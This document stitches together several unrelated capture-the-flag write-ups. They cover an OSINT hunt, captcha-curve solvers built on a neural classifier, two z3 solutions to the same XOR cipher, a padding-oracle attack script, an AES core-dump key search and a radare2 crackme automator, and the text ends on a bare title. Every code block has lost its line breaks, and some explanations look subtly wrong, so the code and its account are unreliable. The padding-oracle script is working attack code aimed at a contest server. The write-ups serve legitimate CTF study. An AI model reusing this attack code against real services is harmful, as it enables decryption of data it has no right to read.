There are rumors that a group of people would like to overthrow the communist party. Therefore, an investigation was initiated under the leadership of Vlaicu Petronel. Be part of this ultra secret investigation, help the militia discover all secret locations and you will be rewarded.
Author: Legacy + FeDEXFlag Format: HackTM{SECRET}
A quick google search for Vlaicu Petronel points to a twitter account with the handle of @PetronelVlaicu.Nothing is of use on their live Twitter feed, but there are two deleted tweets found in the Way Back Machine:
These Tweets are a link to the following google doc:(https://docs.google.com/document/d/1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20/edit)
In small font, there is a screen name of E4gl3OfFr3ed0m.
E4gl3OfFr3ed0m is a GitHub username. Investigating the commit history shows a link and some PHP code:https://github.com/E4gl3OfFr3ed0m/resistance/commits?author=E4gl3OfFr3ed0m
Invoking a WebRequest for all regions gets a list of 129 coordinates:```sh0..128 | % { (iwr http://138.68.67.161:55555/spread_locations.php/?region=$_).Content }```22.5277957,47.356108922.5497683,47.18465222.5277957,47.0276192...
Finally to insert the coordinates into copypastemap.com and reveal the flag:
HackTM{HARDTIMES} |
Xor LOBYTE of output streams which uses Linear Congruential Generator with a = 0x1282, c = 0x1634, and m = 0xFEFEFEFE.(Note that ax + c should be calculated in 32-bit)https://en.wikipedia.org/wiki/Linear_congruential_generator |
# Original description:
> Prove that you are a robot, build all the curves and send me an answer!> P.s. base64.b85encode(bz2.compress(txt.encode())).decode("UTF-8")> nc tasks.aeroctf.com 40001
# Problem:
You need to get the formula from the server, plot it and then solve the capcha in the plot.
Once plotted, segmented and isolated, the letters to learn look like this:
# Solution
Similar to funny-pictures. Most code is copied.
1. Connect to the server via nc and get a list of curve-formulas2. Eval each curve formula with x = 0..100 -> the results are x/y values3. Plot these x/y values and get hollowed out numbers4. Implement a bounding box check, that only the biggest bounding boxes count (0 has a smaller 0 in the middle)5. Train another model to recognize hollowed out 0-9A-F letters again
# Code Runner
```pythonimport base64import bz2import numpy as npimport matplotlib.pyplot as pltfrom io import BytesIOfrom PIL import Image, ImageFilter, ImageOpsimport tesserwrapimport osfrom skimage import measurefrom collections import Counterimport tensorflow.keras as keras
model = keras.models.load_model("model.keras")%env TERMINFO=/usr/share/terminfo%env PWNLIB_NOTERM=true
from pwn import *
# tr = tesserwrap.Tesseract()# tr.set_variable("tessedit_char_whitelist", "0123456789ABCDEF")
def classify(letter): global model letter = np.array(letter.getdata(), dtype=np.float32).reshape((1,28,28,1)) return "0123456789ABCDEFG"[np.argmax(model(letter))].replace("G", "")
def detect(img): img = ImageOps.invert(img.convert("L", colors=1)) for i in range(img.width): for j in range(img.height): col = 255 if img.getpixel((i,j)) > 128 else 0 img.putpixel((i,j), col) #plt.imshow(img, cmap="gray"); plt.show() # debug: show image all_labels = measure.label(np.array(img), background = 128) # segment image # plt.imshow(all_labels); plt.show() # debug: show image text = dict() # create a list of only the letters being 1, ignore the background with >10000 pixels letters = [all_labels == color for color, cnt in Counter(all_labels.reshape(-1)).items() if cnt < 10000] positions = [list(np.where(letter)) for letter in letters] for letter, position in zip(letters, positions): pad = 2 # padding minx = min(position[0]) maxx = max(position[0]) miny = min(position[1]) maxy = max(position[1]) # skip very small items as they are probably an error size = (maxx-minx)*(maxy-miny) if size < 100: continue q = False for position2 in positions: pminx = min(position2[0]) pmaxx = max(position2[0]) pminy = min(position2[1]) pmaxy = max(position2[1]) if minx in range(pminx, pmaxx) and maxx in range(pminx, pmaxx) and \ miny in range(pminy, pmaxy) and maxy in range(pminy, pmaxy) and not \ (pminx == minx and pmaxx == maxx and pminy == miny and pmaxy == maxy): q = True if q: continue sub_image = np.array(img)[minx:maxx, miny:maxy].astype(np.uint8) pil_image = Image.fromarray(sub_image > 0).resize((28,28)) # plt.imshow(sub_image, cmap="gray"); plt.show(); # for debugging initial digits # text[miny] = tr.ocr_image(pil_image) # didn't fully work for me text[miny] = classify(pil_image) pil_image.save(f"letters/{text[miny]}/{random.random()}.png") # collect data to improve/retrain the classifier detected = "".join([text[pos] for pos in sorted(text)]) #plt.imshow(img, cmap="gray"); plt.show(); print(detected) return detected
r = remote("tasks.aeroctf.com", 40001)r.send("Y\n")r.recvline();while True: line = r.recvline().decode("UTF-8").replace("Result: ", "").replace("Ready? <Y/n>", "").replace("\n", "") #print(line)
fig, axs = plt.subplots(1,1) axs.axis('equal') curves = bz2.decompress(base64.b85decode(line)).decode("UTF-8") for line in curves.split("\nf(t) = ")[1:]: code = line.replace("^", "**").replace(";", ",").replace("{", "(").replace("}", ")") xx, yy = [], [] for i in range(0, 101): t = i / 100 x, y = eval(code) xx.append(x); yy.append(y) plt.plot(xx, -np.array(yy), "k")
axs.set_axis_off() #buf = BytesIO() buf = "tmp.png" plt.savefig(buf,) img = Image.open(buf) text = detect(img) print(text) r.send(text+"\n")```
# Code build model
```pythonfrom __future__ import print_functionimport tensorflow.keras as kerasfrom tensorflow.keras.datasets import mnistfrom tensorflow.keras.models import Sequentialfrom tensorflow.keras.layers import Dense, Dropout, Flattenfrom tensorflow.keras.layers import Conv2D, MaxPooling2Dfrom tensorflow.keras import backend as Kfrom tensorflow.keras.utils import to_categorical
import osimport numpy as npimport randomfrom PIL import Image
batch_size = 64num_classes = len(os.listdir("letters"))epochs = 100
# input image dimensionsimg_rows, img_cols = 28, 28
signs = "0123456789ABCDEF"
def load_data(): trainx, testx, trainy, testy = [], [], [], [] for dir in os.listdir("letters"): for file in os.listdir("letters/"+dir): img = Image.open("letters/"+dir+"/"+file) img = np.array(img.getdata()) id = signs.index(dir) if random.random() < 0.9: trainx.append(img); trainy.append(id) else: testx.append(img); testy.append(id) return (np.array(trainx), trainy), (np.array(testx), testy)
# the data, shuffled and split between train and test sets(x_train, y_train), (x_test, y_test) = load_data()
if K.image_data_format() == 'channels_first': x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols) x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols) input_shape = (1, img_rows, img_cols)else: x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1) x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1) input_shape = (img_rows, img_cols, 1)
x_train = x_train.astype('float32')x_test = x_test.astype('float32')x_train /= 255x_test /= 255print('x_train shape:', x_train.shape)print(x_train.shape[0], 'train samples')print(x_test.shape[0], 'test samples')
# convert class vectors to binary class matricesy_train = to_categorical(y_train, num_classes)y_test = to_categorical(y_test, num_classes)
model = Sequential()model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape))model.add(Conv2D(64, (3, 3), activation='relu'))model.add(MaxPooling2D(pool_size=(2, 2)))model.add(Dropout(0.25))model.add(Flatten())model.add(Dense(128, activation='relu'))model.add(Dropout(0.5))model.add(Dense(num_classes, activation='softmax'))
model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(learning_rate=0.1), metrics=['accuracy'])
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, validation_data=(x_test, y_test))score = model.evaluate(x_test, y_test, verbose=0)model.save("model.keras")print('Test loss:', score[0])print('Test accuracy:', score[1])``` |
# Babycrypt## ChallengeIn this challenge, we're given a stripped ELF 64-bit executable 'bcry' (redistributed in this repo) and 'note.dat':```key: %key%text: test_test_test_test_testEncoded: 7685737a9f7895737a9f84857b769f7a657b769f78898378
key: %key%text: qwertyuiopasdfghEncoded: 717785747885858d6f7e917364686776
key: %key%text: skIllaoInasJjklqo19akq9k13k45k69alq1Encoded: 7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135
key: %key%text: %flag%Encoded: 8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781
*Note: in all three cases used one key*```
It looks like the program they gave us was used to encode some text using the same key, including the flag.
Wouldn't it be nice if we could derive the key from the input/output pairs and decode the falg? ;)
## Reversing
If we take a look at the binary in our favorite disassembler and start reversing, we end up with the following main function:```Cundefined8 main(void)
{ MyStruct *buffer; readInputs(&buffer); // asks for a key (re: [0-9a-h]{16}) and the text to encrypt shuffle(&buffer); // shuffles(?) the key in some way FUN_00101ade(&buffer); // never figured out what this does xor(&buffer); // encrypt the text output(&buffer); // output the result FUN_001018ec(&buffer); return 0;}```
Since the key is the same for all input/output pairs, we really don't much care about the shuffle part or `FUN_00101ade` at all.
Let's take a look at `xor` instead:
```Cvoid xor(long buffer){ char plainChar; uint key2; byte bVar1; ulong plainLen; char *pcVar2; uint *key1; int *key3; ulong i; int local_20; int index; index = 0; while( true ) { i = SEXT48(index); plainLen = FUN_00101f74(buffer + 0x58); if (plainLen <= i) break; pcVar2 = (char *)getChar(buffer + 0x58,(long)index,buffer + 0x58); plainChar = *pcVar2; bVar1 = (byte)(index >> 0x37); key1 = (uint *)getByteOff((char)buffer,((char)index + (bVar1 >> 4) & 0xf) - (bVar1 >> 4)); key2 = *key1; bVar1 = (byte)(index >> 0x37); key3 = (int *)getByteOff((char)buffer,((char)index + (bVar1 >> 4) & 0xf) - (bVar1 >> 4)); local_20 = *key3 + ((int)plainChar ^ key2); appendByte(buffer + 0x70,&local_20); index = index + 1; } return;}```(key1, key2 and key3 all have the same value - not sure why this looks more complicated than it is)
We notice that a byte from the key is loaded (index mod 16), xor'ed with the plaintext byte, added to the result and that is then saved.This gives us the following equation for each byte of the plaintext:```pythonout[i] = key[i % 16] + key[i % 16] ^ text[i]```
## Z3Because I didn't see any convenient way to solve this equation for the key byte directly,I used z3 in python to solve all the equations at once.There were many solutions but after constrainging the output to the flag format,printable ASCII characters and accounting for overflow, we got the flag.
## Putting it all togetherThis is the script I used to solve the challenge (if my comments annoy you, the full file is available on the repo as well).
Some imports and variables:```pythonfrom pwn import *from binascii import *from time import sleepfrom z3 import *
ciphers = ["7685737a9f7895737a9f84857b769f7a" + "657b769f78898378","717785747885858d6f7e917364686776","7393a992708d8fad708d83aa7273707d" + "6f3939856b7d398bb53b8b34b573b6c5618e7135"]
plains = ["test_test_test_t" + "est_test","qwertyuiopasdfgh","skIllaoInasJjklq" + "o19akq9k13k45k69alq1"]
secret = "8185748f7b3b3a3565454584b8babbb8" + "b441323ebc8b3a86b5899283b9c2c56d64388889b781"
keysize = 16# allowed key chars: 0-9, a-h
solver = Solver()key = [BitVec("key" + str(i), 8) for i in range(keysize)]```
Now we add the equations to our Solver. Because z3 does not deal with overflow on its own when doing BitVec addition,I had to account for it by adding `& 0xff`.```pythonfor (p,c) in zip(plains, ciphers[:3]): for pos in range(len(p)): solver.add(int(c[2*pos:2*pos+2], 16) == (key[pos % 16] + (key[pos % 16] ^ ord(p[pos]))) & 0xff)```
Constraining the output to start with `Aero{````python# constrain to aero{...}start = "Aero{"for i in range(len(start)): v = int(secret[2*i:2*i+2], 16) dec = ((v - key[i]) & 0xff) ^ key[i] dec = dec & 0xff solver.add( dec == ord(start[i]))```
And finally, iterating over all solutions and outputting only those that are all in the printable ASCII range.```pythonprint("Solving...")# Solve the equationswhile solver.check() == sat: modl = solver.model()
keyVals = [modl[key[i]].as_long() for i in range(keysize)] #print("Found key: " + str(keyVals))
flag = [int(secret[2*pos:2*pos+2], 16) for pos in range(len(secret) // 2)] flag = [((flag[i] - keyVals[i % 16]) & 0xff) ^ keyVals[i % 16] for i in range(len(flag))]
f = "" for i in range(len(flag)): f += chr(flag[i])
full_ascii = True for c in f: if ord(c) < 0x20 or ord(c) > 0x80: full_ascii = False
if full_ascii: print(f)
# Encryption works like:# output byte = key[mod 16] + key[mod 16] ^ plain byte```
And running this takes only a short time and gives us the flag:`Aero{381a95d003629088c8f1ebc189ab6fe7}` |
# AskTheOracle - Crypto 150 points> Mr Robot has worked all night to find the Cipher "TIe8CkeWpqPFBmFcIqZG0JoGqBIWZ9dHbDqqfdx2hPlqHvwH/+tbAXDSyzyrn1Wf" then he faints of Overdose. You are left with a challenge to get the key to the database before EVIL CORP starts backing up the data.> `nc ctf.pragyan.org 8500`> P.S- After solving you will get a flag in the format of pctf{code}, change it to p_ctf{code} and submit it.
Straightforward [Oracle Padding Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)
Used [mwielgoszewski POA API](https://github.com/mwielgoszewski/python-paddingoracle)
```pythonfrom paddingoracle import BadPaddingException, PaddingOraclefrom base64 import b64encode, b64decodefrom pwn import *import requestsimport time
iv = 'This is an IV456'
class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs)
def oracle(self, data, **kwargs): while 1: try: r = remote('ctf.pragyan.org',8500) r.recvuntil('\n') r.sendline(b64encode(data) + '|' + b64encode(iv)) res = r.recvallS() break except (PwnlibException): continue
if res.find("Padding Error!") == -1 or res.find("padding error") == -1: return else: raise BadPaddingException()
if __name__ == '__main__': import logging import sys
#logging.basicConfig(level=logging.DEBUG) cipher = 'TIe8CkeWpqPFBmFcIqZG0JoGqBIWZ9dHbDqqfdx2hPlqHvwH/+tbAXDSyzyrn1Wf' padbuster = PadBuster() plain = padbuster.decrypt(b64decode(cipher), block_size=16, iv=iv)
print('Decrypted: %s => %r' % (cipher, plain))
``` |
# Original description:
> Prove that you are a robot, build all the curves and send me an answer!> P.s. base64.b85encode(bz2.compress(txt.encode())).decode("UTF-8")> nc tasks.aeroctf.com 40002
# Problem:
You need to get the formula from the server, plot it and then solve the capcha in the plot. Then you need to solve this formula.
Once plotted, segmented and isolated, the letters new signs (in addition to funny pictures) look like this:
# Solution
Very similar to funny_curves, but now you have to use the classes of A-F for `+-/*()`1. Get the formulas again, and plot the curves2. The curves show an image that contains a formula3. Plot the formula, use the classifier from funny_curves and sort images of `+-/*()` into the A-F folders4. Replace them when creating the string, but use them for folder-name-saving5. `eval` the formula, but with `//` instead of `/` (division without remainder / int-divison)6. Send the result to the server, and repeat this ~100 times7. Get the flag
# Code Runner
```pythonimport base64import bz2import numpy as npimport matplotlib.pyplot as pltfrom io import BytesIOfrom PIL import Image, ImageFilter, ImageOpsimport tesserwrapimport osfrom skimage import measurefrom collections import Counterimport tensorflow.keras as keras
model = keras.models.load_model("model.keras")%env TERMINFO=/usr/share/terminfo%env PWNLIB_NOTERM=true
from pwn import *
# tr = tesserwrap.Tesseract()# tr.set_variable("tessedit_char_whitelist", "0123456789ABCDEF")
def classify(letter): global model letter = np.array(letter.getdata(), dtype=np.float32).reshape((1,28,28,1)) return "0123456789ABCDEF"[np.argmax(model(letter))]
def detect(img): img = ImageOps.invert(img.convert("L", colors=1)) for i in range(img.width): for j in range(img.height): col = 255 if img.getpixel((i,j)) > 128 else 0 img.putpixel((i,j), col) # plt.imshow(img, cmap="gray"); plt.show() # debug: show image all_labels = measure.label(np.array(img), background = 128) # segment image # plt.imshow(all_labels); plt.show() # debug: show image text = dict() # create a list of only the letters being 1, ignore the background with >10000 pixels letters = [all_labels == color for color, cnt in Counter(all_labels.reshape(-1)).items() if cnt < 10000] positions = [list(np.where(letter)) for letter in letters] for letter, position in zip(letters, positions): pad = 2 # padding minx = min(position[0]) maxx = max(position[0]) miny = min(position[1]) maxy = max(position[1]) # skip very small items as they are probably an error size = (maxx-minx)*(maxy-miny) if size < 10: continue q = False for position2 in positions: pminx = min(position2[0]) pmaxx = max(position2[0]) pminy = min(position2[1]) pmaxy = max(position2[1]) if minx in range(pminx, pmaxx) and maxx in range(pminx, pmaxx) and \ miny in range(pminy, pmaxy) and maxy in range(pminy, pmaxy) and not \ (pminx == minx and pmaxx == maxx and pminy == miny and pmaxy == maxy): q = True if q: continue sub_image = np.array(img)[minx-1:maxx+2, miny-1:maxy+2].astype(np.uint8) pil_image = Image.fromarray(sub_image > 0).resize((28,28)) # plt.imshow(sub_image, cmap="gray"); plt.show(); # for debugging initial digits # text[miny] = tr.ocr_image(pil_image) # didn't fully work for me char = classify(pil_image) text[miny] = char.replace("A", "+").replace("B", "-").replace("C", "*").replace("D", "/").replace("E","(").replace("F", ")") pil_image.save(f"letters/{char}/{random.random()}.png") # collect data to improve/retrain the classifier detected = "".join([text[pos] for pos in sorted(text)]) #plt.imshow(img, cmap="gray"); plt.show(); print(detected) return detected
line = ""while True: r = remote("tasks.aeroctf.com", 40002) r.send("Y\n") r.recvline(); while True: line = r.recvline().decode("UTF-8").replace("Result: ", "").replace("Ready? <Y/n>", "").replace("\n", "") if line == "Incorrect!": break elif "Flag" in line: print(line)
fig, axs = plt.subplots(1,1) axs.axis('equal') curves = bz2.decompress(base64.b85decode(line)).decode("UTF-8") for line in curves.split("\nf(t) = ")[1:]: code = line.replace("^", "**").replace(";", ",").replace("{", "(").replace("}", ")") xx, yy = [], [] for i in range(0, 101): t = i / 100 x, y = eval(code) xx.append(x); yy.append(y) plt.plot(xx, -np.array(yy), "k")
axs.set_axis_off() #buf = BytesIO() buf = "tmp.png" plt.savefig(buf,) img = Image.open(buf) text = detect(img).replace("/","//") result = str(eval(text)) print(text, result) r.send(result+"\n") print(line)```
# Code Build Model
```pythonfrom __future__ import print_functionimport tensorflow.keras as kerasfrom tensorflow.keras.datasets import mnistfrom tensorflow.keras.models import Sequentialfrom tensorflow.keras.layers import Dense, Dropout, Flattenfrom tensorflow.keras.layers import Conv2D, MaxPooling2Dfrom tensorflow.keras import backend as Kfrom tensorflow.keras.utils import to_categorical
import osimport numpy as npimport randomfrom PIL import Image
batch_size = 64num_classes = len(os.listdir("letters"))epochs = 100
# input image dimensionsimg_rows, img_cols = 28, 28
signs = "0123456789ABCDEF"
def load_data(): trainx, testx, trainy, testy = [], [], [], [] for dir in os.listdir("letters"): for file in os.listdir("letters/"+dir): img = Image.open("letters/"+dir+"/"+file) img = np.array(img.getdata()) id = signs.index(dir) if random.random() < 0.9: trainx.append(img); trainy.append(id) else: testx.append(img); testy.append(id) return (np.array(trainx), trainy), (np.array(testx), testy)
# the data, shuffled and split between train and test sets(x_train, y_train), (x_test, y_test) = load_data()
if K.image_data_format() == 'channels_first': x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols) x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols) input_shape = (1, img_rows, img_cols)else: x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1) x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1) input_shape = (img_rows, img_cols, 1)
x_train = x_train.astype('float32')x_test = x_test.astype('float32')x_train /= 255x_test /= 255print('x_train shape:', x_train.shape)print(x_train.shape[0], 'train samples')print(x_test.shape[0], 'test samples')
# convert class vectors to binary class matricesy_train = to_categorical(y_train, num_classes)y_test = to_categorical(y_test, num_classes)
model = Sequential()model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape))model.add(Conv2D(64, (3, 3), activation='relu'))model.add(MaxPooling2D(pool_size=(2, 2)))model.add(Dropout(0.25))model.add(Flatten())model.add(Dense(128, activation='relu'))model.add(Dropout(0.5))model.add(Dense(num_classes, activation='softmax'))
model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(learning_rate=0.1), metrics=['accuracy'])
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, validation_data=(x_test, y_test))score = model.evaluate(x_test, y_test, verbose=0)model.save("model.keras")print('Test loss:', score[0])print('Test accuracy:', score[1])``` |
# Babycrypt
We are given with elf64 binary and notes.dat file.
The binary asks for key and text and gives out encrypted text.
The notes contains output from program with different inputs:
```key: %key%text: test_test_test_test_testEncoded: 7685737a9f7895737a9f84857b769f7a657b769f78898378 key: %key%text: qwertyuiopasdfghEncoded: 717785747885858d6f7e917364686776
key: %key%text: skIllaoInasJjklqo19akq9k13k45k69alq1Encoded: 7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135
key: %key%text: %flag%Encoded: 8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781
*Note: in all three cases used one key*```
After some reversing we can see that key is being shuffled and applied to input text. After that it prints encrypted text.
```cvoid make_text(char *data){ unsigned __int64 v1; int v2; int v3; int v4; int i;
for ( i = 0; ; ++i ) { v1 = i; if ( v1 >= text_len(data + 88) ) break; v2 = *(char *)get_text(data + 88, i); v3 = *(_DWORD *)get_key(data, i % 16) ^ v2; // xor v4 = v3 + *(_DWORD *)get_key(data, i % 16); // add sub_55E323148EC6((__int64)(data + 112), (__int64)&v4;; }}```
### Solution:
The solution is simple. since we know 3 inputs and 3 outputs, we can find all possible keys for given pairs.
After that we can find possible plaintexts for given encrypted flag.
```pythonimport binasciifrom z3 import *import string
outputs = { 'test_test_test_test_test' : binascii.unhexlify('7685737a9f7895737a9f84857b769f7a657b769f78898378'), 'qwertyuiopasdfgh' : binascii.unhexlify('717785747885858d6f7e917364686776'), 'skIllaoInasJjklqo19akq9k13k45k69alq1' : binascii.unhexlify('7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135')}
mapping = { 0:0, 1:4, 2:8, 3:12, 4:13, 5:14, 6:15, 7:11, 8:7, 9:3, 10:2, 11:1, 12:5, 13:9, 14:10, 15:6}
# apply key shuffledef map_key(key): new_key = [0 for i in range(len(key))] for i, v in enumerate(key): new_key[mapping[i]] = v return ''.join(new_key)
# apply key shuffle reversedef map_key_rev(key): new_key = [0 for i in range(len(key))] new_mapping = {} for k, v in mapping.items(): new_mapping[v] = k for i, v in enumerate(key): new_key[new_mapping[i]] = v return ''.join(new_key)
# encryptiondef encode_byte(inp_text, inp_key): return ((inp_text ^ inp_key) + inp_key) & 0xff
# helper functiondef to_byte(x): return bytes([x])
# find all possible keys# input - dict{plaintext : encypted_text}# output - all possible keysdef get_keys(outputs): s = Solver() key_len = 16 possible_keys = [] # make key 16 bytes long # key has to be in hexdigits range for i in range(0, key_len): globals()['b%i' % i] = BitVec('b%i' % i, 8) s.add(Or(And(globals()['b%i' % i] >= 48, globals()['b%i' % i] <= 57), And(globals()['b%i' % i] >= 97, globals()['b%i' % i] <= 104)))
for text, output in outputs.items(): for i in range(len(text)): s.add(encode_byte(ord(text[i]), globals()['b%i' % (i % 16)]) == output[i]) #print(s) # find all possible keys while s.check() == sat: model = s.model() block = [] out = '' for i in range(key_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) possible_keys.append(map_key_rev(out)) return possible_keys
# input - keys# output - all possible plaintextdef solve(keys): encoded_flag = binascii.unhexlify('8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781') flag_len = len(encoded_flag) for key in keys: k = map_key(key) s = Solver() # gen flag for i in range(0, flag_len): globals()['b%i' % i] = BitVec('b%i' % i, 8) s.add(And(globals()['b%i' % i] >= 32, globals()['b%i' % i] <= 127))
for i in range(flag_len): s.add(encode_byte(globals()['b%i' % i], ord(k[i % len(k)])) == encoded_flag[i]) if s.check() == sat: out = '' model = s.model() for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) print(out)
if __name__ == "__main__": #assert 'aaaabbbbccccdddd' == map_key_rev('acccaddcaddbabbb') #sys.exit(main()) keys = get_keys(outputs) solve(keys)```
And we get all plaintexts
```Aero{381a95d003629088c8f1ebc189ab6fe7}Aero{3:1a95d003629088c:f1ebc189ab6fe7}```
|
Greetings from OTA,
So it was a short binary given, on analyzing we found it was using aes_cbc_256
```cint setup_crypter(__int64 a1){ __int64 v1; // ST08_8@1 __int64 v2; // rax@1 __int64 v3; // rax@1 __int64 v4; // rax@1 void *v5; // ST18_8@1 __int64 v6; // rax@1 v1 = a1; v2 = HMAC_CTX_new(); a1 + 160 = v2; v3 = EVP_sha256(); HMAC_Init_ex(*(_QWORD *)(v1 + 160), v1 + 64, 32LL, v3, 0LL); v4 = EVP_CIPHER_CTX_new(); a1 + 168 = v4; v5 = calloc(0x10, 0x1); v6 = EVP_aes_256_cbc(16LL, 1LL); ######### USING AES 256CBC return EVP_EncryptInit_ex(*(_QWORD *)(v1 + 168), v6, 0LL, v1 + 32, v5); ###### KEY i.e v5 IS NEVER INITIALIZED}```So lets try all 32 bit combination
```pythonfrom Crypto.Cipher import AES
maybeKey = open('core', 'r').read().strip()flag = open("flag.txt.enc", "rb").read()
for i in range(0,len(maybeKey)-32): key = maybeKey[i:i+32] aes = AES.new(key, AES.MODE_CBC, IV="\xff"*16) text = aes.decrypt(flag) if "CTF" in text: print (key, text) break
```Reveals the flag `CTF{core_dump_your_secrets}` |
For this challenge, we get an archive with a lot of files, the name of which seems to be a hash. Each file is an ELF x86_64 program file. In addition, a server listens, and requests:
```plainEnter valid token to binary with name <8c235f89a8143a28a1d6067e959dd858>Token:```at connection. We therefore understand quickly enough that we will have to automate the reversing of all these ELFs to send the correct token back to the server, and thus have the flag, the server requesting a series of tokens before spitting the flag.
Fortunately for us, these ELFs have a very similar structure, and automation should not be too difficult (especially since the binaries are not stripped). The interesting part is therefore in the "sym.check" function under radare2: ``` ; CALL XREF from main @ 0x1219┌ 171: sym.check (void *arg1);│ ; var void *s1 @ rbp-0x38│ ; var void *s2 @ rbp-0x30│ ; var int64_t var_28h @ rbp-0x28│ ; var int64_t var_20h @ rbp-0x20│ ; var int64_t var_18h @ rbp-0x18│ ; var signed int64_t var_4h @ rbp-0x4│ ; arg void *arg1 @ rdi│ 0x000012a4 55 push rbp│ 0x000012a5 4889e5 mov rbp, rsp│ 0x000012a8 4883ec40 sub rsp, 0x40│ 0x000012ac 48897dc8 mov qword [s1], rdi ; arg1│ 0x000012b0 48b8110e5655. movabs rax, 0xe57581255560e11│ 0x000012ba 48ba0e585544. movabs rdx, 0x114758114455580e│ 0x000012c4 488945d0 mov qword [s2], rax│ 0x000012c8 488955d8 mov qword [var_28h], rdx│ 0x000012cc 48b80d131244. movabs rax, 0x5614410e4412130d│ 0x000012d6 48ba470d5755. movabs rdx, 0x430d424155570d47│ 0x000012e0 488945e0 mov qword [var_20h], rax│ 0x000012e4 488955e8 mov qword [var_18h], rdx│ 0x000012e8 c745fc000000. mov dword [var_4h], 0│ ┌─< 0x000012ef eb2e jmp 0x131f│ │ ; CODE XREF from sym.check @ 0x1323│ ┌──> 0x000012f1 8b45fc mov eax, dword [var_4h]│ ╎│ 0x000012f4 4863d0 movsxd rdx, eax│ ╎│ 0x000012f7 488b45c8 mov rax, qword [s1]│ ╎│ 0x000012fb 4801d0 add rax, rdx│ ╎│ 0x000012fe 0fb600 movzx eax, byte [rax]│ ╎│ 0x00001301 83c00a add eax, 0xa│ ╎│ 0x00001304 83f022 xor eax, 0x22│ ╎│ 0x00001307 8d48f5 lea ecx, [rax - 0xb]│ ╎│ 0x0000130a 8b45fc mov eax, dword [var_4h]│ ╎│ 0x0000130d 4863d0 movsxd rdx, eax│ ╎│ 0x00001310 488b45c8 mov rax, qword [s1]│ ╎│ 0x00001314 4801d0 add rax, rdx│ ╎│ 0x00001317 89ca mov edx, ecx│ ╎│ 0x00001319 8810 mov byte [rax], dl│ ╎│ 0x0000131b 8345fc01 add dword [var_4h], 1│ ╎│ ; CODE XREF from sym.check @ 0x12ef│ ╎└─> 0x0000131f 837dfc1f cmp dword [var_4h], 0x1f│ └──< 0x00001323 7ecc jle 0x12f1│ 0x00001325 488d4dd0 lea rcx, [s2]│ 0x00001329 488b45c8 mov rax, qword [s1]│ 0x0000132d ba20000000 mov edx, 0x20 ; "@" ; size_t n│ 0x00001332 4889ce mov rsi, rcx ; const void *s2│ 0x00001335 4889c7 mov rdi, rax ; const void *s1│ 0x00001338 e833fdffff call sym.imp.memcmp ; int memcmp(const void *s1, const void *s2, size_t n)│ 0x0000133d 85c0 test eax, eax│ ┌─< 0x0000133f 7407 je 0x1348│ │ 0x00001341 b800000000 mov eax, 0│ ┌──< 0x00001346 eb05 jmp 0x134d│ ││ ; CODE XREF from sym.check @ 0x133f│ │└─> 0x00001348 b801000000 mov eax, 1│ │ ; CODE XREF from sym.check @ 0x1346│ └──> 0x0000134d c9 leave└ 0x0000134e c3 ret```We can see that crackme fills a buffer with 4 qwords (the encrypted "token"), before retrieving the serial entered by the user, and performing calculations on it before comparing it with the first buffer.
The input encryption algorithm is therefore for each byte:```out[i] = ((serial[i] + 0xa) ^ 0x22) - 0xb```All executables have the same algorithm, only the parameters, i.e. the buffer, and the constants 0xa, 0x22 and 0xb change for each binary. So we just have to exit python and r2pipe to extract these values and communicate with the server, which gives the python below (the binaries are placed in a "files" sub-folder):
```python#!/usr/bin/python
import r2pipeimport sysimport structimport pexpectimport socket
buf = b""
def get_tok(file): r2 = r2pipe.open("files/" + file) # Extraction du buffer buf = struct.pack("<Q", r2.cmdj("pdj 1 @0x000012b0")[0]["val"]) buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012ba")[0]["val"]) buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012cc")[0]["val"]) buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012d6")[0]["val"])
# Extraction des params de chiffrement add_operand = r2.cmdj("pdj 1 @0x00001301")[0]["val"] xor_operand = r2.cmdj("pdj 1 @0x00001304")[0]["val"] final_sub = r2.cmdj("pdj 1 @0x00001307")[0]["esil"].split(",")[0] final_sub = int(final_sub[2:], 16)
out = [] for i in buf: out.append(((final_sub + i) ^ xor_operand) - add_operand)
return "".join([chr(x) for x in out])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("tasks.aeroctf.com", 44324))toto = sock.makefile()while True: line = toto.readline() print(line) if line.find("Enter valid token") > -1: name = line[line.find("<")+1:-2] token = get_tok(name) sock.send(bytes(token + "\n", "ascii"))```
The only "complicated" part here is to extract the good value from the "lea ecx, [rax - 0xb]", where I based myself on the ESIL evaluation made by radare2 to recover the good value. Finally, last subtlety, the server returns an ANSI terminal reset sequence after sending the flag, so we had to redirect the output to a file, to get the flag.
That's all folks ! :þ |
# Aero CTF 2020 - Image Wave (Code, 498pts)
